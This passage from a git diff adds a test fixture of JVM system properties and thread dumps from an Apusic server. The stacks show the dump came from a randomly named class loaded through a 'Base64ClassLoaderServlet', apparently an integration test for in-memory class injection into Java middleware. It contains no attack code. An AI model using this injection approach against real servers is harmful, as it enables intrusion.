+org.jvnet.hk2.internal.Utilities +org.jvnet.hk2.osgiadapter.OSGiModuleImpl +org.jvnet.hk2.osgiadapter.OSGiModuleImpl$4 +org.jvnet.hk2.osgiadapter.OSGiModuleImpl$4$1 +org.jvnet.hk2.osgiadapter.OsgiPopulatorPostProcessor$1 diff --git a/integration-test/src/test/resources/infos/Apusic9ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Apusic9ContainerTestBasicInfo.txt new file mode 100644 index 00000000..53858248 --- /dev/null +++ b/integration-test/src/test/resources/infos/Apusic9ContainerTestBasicInfo.txt @@ -0,0 +1,451 @@ +# Generated At 2025-08-10 14:56:14 +SystemProps: +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.name: Linux +sun.boot.class.path: /usr/local/ass/lib/endorsed/javax-annotations-api.jar:/usr/local/ass/lib/endorsed/javax.websocket-api-1.0.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.apusic.security.jacc.PolicyConfigurationFactoryImpl +com.apusic.home: /usr/local/ass +jgroups.logging.log_factory_class: com.apusic.org.jgroups.logging.ApusicLogFactoryImpl +apusic.http.disabledMethods: DELETE,PUT,TRACE,OPTIONS +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_342-b07 +user.name: root +apusic.prefer.war.classes.include: +com.apusic.domain.home: /usr/local/ass/domains/mydomain +java.naming.factory.initial: com.apusic.naming.jndi.CNContextFactory +user.language: en +apusic.web.io.type: nio +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +jmx.invoke.getters: true +java.version: 1.8.0_342 +apusic.http.status.forbiddenToNotFound: true +java.util.logging.manager: com.apusic.logging.manager.ServerLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: true +com.apusic.invocation.InheritContext: false +sun.arch.data.model: 64 +javax.persistence.spi.PersistenceProvider: org.eclipse.persistence.jpa.PersistenceProvider +java.endorsed.dirs: /usr/local/ass/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +apusic.async.servlet.multi.request.event: true +java.class.version: 52.0 +java.home: /usr/local/openjdk-8/jre +apusic.prefer.war.classes.exclude: java.,javax.,org.w3c.,org.xml.,com.sun.faces., org.hibernate.transaction.TransactionManagerLookup, org.hibernate.service.jta.platform.spi.JtaPlatform, org.hibernate.engine.transaction.jta.platform.spi.JtaPlatform +apusic.prefer.war.classes: true +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +org.omg.CORBA.ORBSingletonClass: com.apusic.corba.ee.impl.orb.ORBSingleton +path.separator: : +java.vm.version: 25.342-b07 +datasource.refresh.interval: 30 +java.awt.printerjob: sun.print.PSPrinterJob +apusic.component.invocation.naming.local.optimize: true +sun.io.unicode.encoding: UnicodeLittle +awt.toolkit: sun.awt.X11.XToolkit +apusic.web.listener.reload: true +java.naming.factory.url.pkgs: com.apusic.naming.jndi.url +java.security.egd: file:/dev/./urandom +user.home: /root +java.specification.vendor: Oracle Corporation +apusic.http.session.serializer: jdk +java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +com.apusic.timerpool.size: 5 +java.vm.vendor: Oracle Corporation +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.apusic.server.Main -root /usr/local/ass +java.class.path: .:/usr/local/ass/classes:/usr/local/ass/sp/*.jar:/usr/local/ass/common/java.activation.jar:/usr/local/ass/common/java.corba.jar:/usr/local/ass/common/javaee.jar:/usr/local/ass/lib/apusic-client.jar:/usr/local/ass/lib/apusic-embed.jar:/usr/local/ass/lib/apusic-jms.jar:/usr/local/ass/lib/apusic-sm-2.1.jar:/usr/local/ass/lib/apusic-ws.jar:/usr/local/ass/lib/apusic.jar:/usr/local/ass/lib/deploy.jar:/usr/local/ass/lib/elite-api.jar:/usr/local/ass/lib/elite.jar:/usr/local/ass/lib/firststep.jar:/usr/local/ass/lib/jasper-jdt.jar:/usr/local/ass/lib/mejb.jar:/usr/local/ass/lib/razor.jar:/usr/local/ass/lib/*.zip:/usr/local/ass/lib/ext/apusic-broker.jar:/usr/local/ass/lib/ext/apusic-classfilewriter-1.0.5.Final.jar:/usr/local/ass/lib/ext/apusic-classmate-1.0.0.jar:/usr/local/ass/lib/ext/apusic-commons.jar:/usr/local/ass/lib/ext/apusic-gson-2.2.2.jar:/usr/local/ass/lib/ext/apusic-guava-13.0.1.jar:/usr/local/ass/lib/ext/apusic-hibernate-validator-5.0.3.Final.jar:/usr/local/ass/lib/ext/apusic-httpcore-4.3.3.jar:/usr/local/ass/lib/ext/apusic-javassist-3.12.0.SP1.jar:/usr/local/ass/lib/ext/apusic-jboss-logging.jar:/usr/local/ass/lib/ext/apusic-jettison-1.3.5.jar:/usr/local/ass/lib/ext/apusic-jgroups-3.6.1.Final.jar:/usr/local/ass/lib/ext/apusic-scannotation-1.0.3.jar:/usr/local/ass/lib/ext/apusic-serializers-fst-1.63.jar:/usr/local/ass/lib/ext/apusic-serializers-hessian-4.0.37.jar:/usr/local/ass/lib/ext/apusic-serializers-kryo-3.0.2.jar:/usr/local/ass/lib/ext/apusic-snmp4j-2.3.4.jar:/usr/local/ass/lib/ext/apusic-weld-2.1.Final.jar:/usr/local/ass/lib/ext/bcprov-ext-jdk15on-1.51.jar:/usr/local/ass/lib/ext/commonj.sdo-2.1.1.jar:/usr/local/ass/lib/ext/commons-pool2-2.3.jar:/usr/local/ass/lib/ext/derby-10.14.2.0.jar:/usr/local/ass/lib/ext/derbyclient-10.14.2.0.jar:/usr/local/ass/lib/ext/dsn-1.4.4.jar:/usr/local/ass/lib/ext/eclipselink-2.4.2.jar:/usr/local/ass/lib/ext/javax.faces-2.2.8.jar:/usr/local/ass/lib/ext/javax.mail-1.4.4.jar:/usr/local/ass/lib/ext/jaxb-impl-2.2.4.jar:/usr/local/ass/lib/ext/jaxb-xjc-2.2.4.jar:/usr/local/ass/lib/ext/jaxr-impl-1.0.8.jar:/usr/local/ass/lib/ext/jaxrs-api-2.3.6.Final.jar:/usr/local/ass/lib/ext/jedis-2.8.0.jar:/usr/local/ass/lib/ext/jhall.jar:/usr/local/ass/lib/ext/jmxremote_optional-1.0_01-ea.jar:/usr/local/ass/lib/ext/jstl-1.2.jar:/usr/local/ass/lib/ext/ldapjdk.jar:/usr/local/ass/lib/ext/ldapsp.jar:/usr/local/ass/lib/ext/leveldbjni-all-1.8.jar:/usr/local/ass/lib/ext/mx4j-tools-3.0.1.jar:/usr/local/ass/lib/ext/tyrus-server-1.7.jar:/usr/local/ass/lib/ext/w-jsr305.jar:/usr/local/ass/lib/ext/xmemcached-2.0.0.jar:/usr/local/ass/lib/ext/*.zip/usr/local/ass/domains/mydomain/lib/*.zip:/usr/local/ass/domains/mydomain/lib/slf4j-api-1.7.25.jar:/usr/local/ass/domains/mydomain/lib/kingbase8-8.2.0.jre7.jar:/usr/local/ass/domains/mydomain/lib/jcl-over-slf4j-1.7.25.jar:/usr/local/ass/domains/mydomain/lib/hibernate-jpa-2.1-api-1.0.0.Final.jar::/agent.jar +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.io.tmpdir: /tmp +com.sun.faces.InjectionProvider: com.apusic.deploy.jsf.ApusicInjectionProvider +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +user.dir: /usr/local/ass/domains/mydomain +com.apusic.ciphersuite.exclude: SSL_DHE_RSA_WITH_DES_CBC_SHA,SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA,SSL_RSA_WITH_DES_CBC_SHA,SSL_RSA_EXPORT_WITH_RC4_40_MD5,SSL_RSA_EXPORT_WITH_DES40_CBC_SHA,SSL_RSA_WITH_RC4_128_MD5,SSL_RSA_WITH_RC4_128_SHA +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +java.security.auth.login.config: /usr/local/ass/domains/mydomain/config/auth.cfg +muxer.port: 6888 +org.omg.CORBA.ORBClass: com.apusic.corba.ee.impl.orb.ORBImpl +file.encoding: UTF-8 +java.specification.version: 1.8 + +=========================================== + +ThreadStacks: +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ApusicTimerThread-2" #14 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41db2999 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:243) + at java.lang.Thread.run(Thread.java:750) + +"HTTPHandler-1-42" #42 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@45e4b57a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"HouseKeeper-default_public_html" #37 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.apusic.web.session.DefaultSessionManager$HouseKeeper.run(DefaultSessionManager.java:554) + +"HTTPHandler-4-45" #45 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@45e4b57a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@e623a2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@29a3513a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"Thread-4" #18 [WAITING] on com.apusic.corba.ee.impl.javax.rmi.CORBA.KeepAlive@fb47efb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.apusic.corba.ee.impl.javax.rmi.CORBA.KeepAlive.run(Util.java:736) + +"MQ.Server.Reader" #23 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at com.apusic.mq.transport.ReaderThread.run(ReaderThread.java:65) + +"AutoDeployer" #38 [TIMED_WAITING] on com.apusic.deploy.runtime.AutoDeployer@312c2276 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.apusic.deploy.runtime.AutoDeployer.run(AutoDeployer.java:70) + at java.lang.Thread.run(Thread.java:750) + +"ApusicTimerThread-4" #22 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41db2999 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:243) + at java.lang.Thread.run(Thread.java:750) + +"ApusicTimerThread-3" #21 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41db2999 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:243) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [WAITING] on com.apusic.server.J2EEServer@7b993c65 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.apusic.server.J2EEServer.startup(J2EEServer.java:402) + at com.apusic.server.Main.main(Main.java:35) + +"topic: testTopic dispatching thread" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@51830e4c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at com.apusic.mq.queue.LocalQueue$SelfActivation.check(LocalQueue.java:211) + at com.apusic.mq.queue.LocalQueue$SelfActivation.waitReadable(LocalQueue.java:218) + at com.apusic.mq.queue.LocalQueue.waitReadable(LocalQueue.java:269) + at com.apusic.mq.dispatch.WaitForALLAvailable.dispatch(WaitForALLAvailable.java:37) + at com.apusic.mq.dispatch.DispatchList.doDispatch(DispatchList.java:104) + at com.apusic.mq.dispatch.DispatchList.access$200(DispatchList.java:28) + at com.apusic.mq.dispatch.DispatchList$1.iterate(DispatchList.java:146) + at com.apusic.mq.util.DedicatedTaskRunner.runTask(DedicatedTaskRunner.java:79) + at com.apusic.mq.util.DedicatedTaskRunner$1.run(DedicatedTaskRunner.java:17) + +"MuxListener-0" #15 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.apusic.net.NonBlockingListenerThread.run(NonBlockingListenerThread.java:48) + +"ConsoleHandler-Log" #12 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@60c9dced + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.apusic.logging.ConsoleHandler.log(ConsoleHandler.java:111) + at com.apusic.logging.ConsoleHandler$1.run(ConsoleHandler.java:92) + +"HTTPHandler-2-43" #43 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.jtuLf.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at java.io.PrintWriter.print(PrintWriter.java:617) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.apusic.web.container.ServletComponent.service(ServletComponent.java:87) + at com.apusic.web.container.ServletFilterWrapper.doFilter(ServletFilterWrapper.java:38) + at com.apusic.web.container.FilterChainImpl.doFilter(FilterChainImpl.java:48) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.apusic.web.container.FilterComponent.doFilter(FilterComponent.java:65) + at com.apusic.web.container.FilterChainImpl.performFilter(FilterChainImpl.java:38) + at com.apusic.web.container.WebContainer.invoke(WebContainer.java:1164) + at com.apusic.web.container.WebContainer.doProcessRequest(WebContainer.java:945) + at com.apusic.web.container.WebContainer.processRequest(WebContainer.java:807) + at com.apusic.web.http.VirtualHost.processRequest(VirtualHost.java:369) + at com.apusic.web.http.HttpServer.processRequest(HttpServer.java:317) + at com.apusic.web.http.HttpConnectionHandler.service(HttpConnectionHandler.java:26) + at com.apusic.web.http.ConnectionHandler.processRequest(ConnectionHandler.java:360) + at com.apusic.web.http.ConnectionHandler.processConnection(ConnectionHandler.java:138) + at com.apusic.web.http.ConnectionHandler.run(ConnectionHandler.java:52) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"HTTPHandler-3-44" #44 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@45e4b57a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Druid-ConnectionPool-Destroy-1924738278" #33 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.alibaba.druid.pool.DruidDataSource$DestroyConnectionThread.run(DruidDataSource.java:2070) + +"HouseKeeper-app_" #47 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.apusic.web.session.DefaultSessionManager$HouseKeeper.run(DefaultSessionManager.java:554) + +"ApusicTimerThread-1" #13 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41db2999 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:243) + at java.lang.Thread.run(Thread.java:750) + +"QueueDelivery: SYSTEM.Queue.Local.FT_ADMIN_REQUEST" #26 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@53d07b4f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JDBCStaticSender" #34 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bfdcd1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.apusic.aasadmin.core.server.aasengine.datasource.SQLStaticListener$JDBCNotificationSender.run(SQLStaticListener.java:91) + +"MuxReader" #41 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.apusic.net.ReaderThread$SubSelector.run(ReaderThread.java:120) + +"IOReactor-1" #27 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.apusic.web.http.HttpReactorManager$Reactor.run(HttpReactorManager.java:145) + +"LogManager" #11 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a874384 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.apusic.logging.manager.ServerLogManager$PushThread.dequeue(ServerLogManager.java:678) + at com.apusic.logging.manager.ServerLogManager$PushThread.run(ServerLogManager.java:697) + +"Druid-ConnectionPool-Create-1924738278" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6487c08d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at com.alibaba.druid.pool.DruidDataSource$CreateConnectionThread.run(DruidDataSource.java:1977) + +"MVStore background writer nio:/usr/local/ass/domains/mydomain/store/aas_db.mv.db" #30 daemon [TIMED_WAITING] on java.lang.Object@345dd551 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.h2.mvstore.MVStore$BackgroundWriterThread.run(MVStore.java:2684) + +"ApusicTimerThread-5" #24 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41db2999 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:243) + at java.lang.Thread.run(Thread.java:750) + +"HouseKeeper-webtool.war_" #36 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.apusic.web.session.DefaultSessionManager$HouseKeeper.run(DefaultSessionManager.java:554) + +"datasource-status-check" #35 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@49f9de5f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JDBCNotificationSender" #20 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39923f87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.apusic.jdbc.trace.JDBCNotificationSender.run(JDBCNotificationSender.java:34) + +"pool-4-thread-1" #28 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63cb1390 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"HTTPHandler-5-46" #46 [WAITING] on 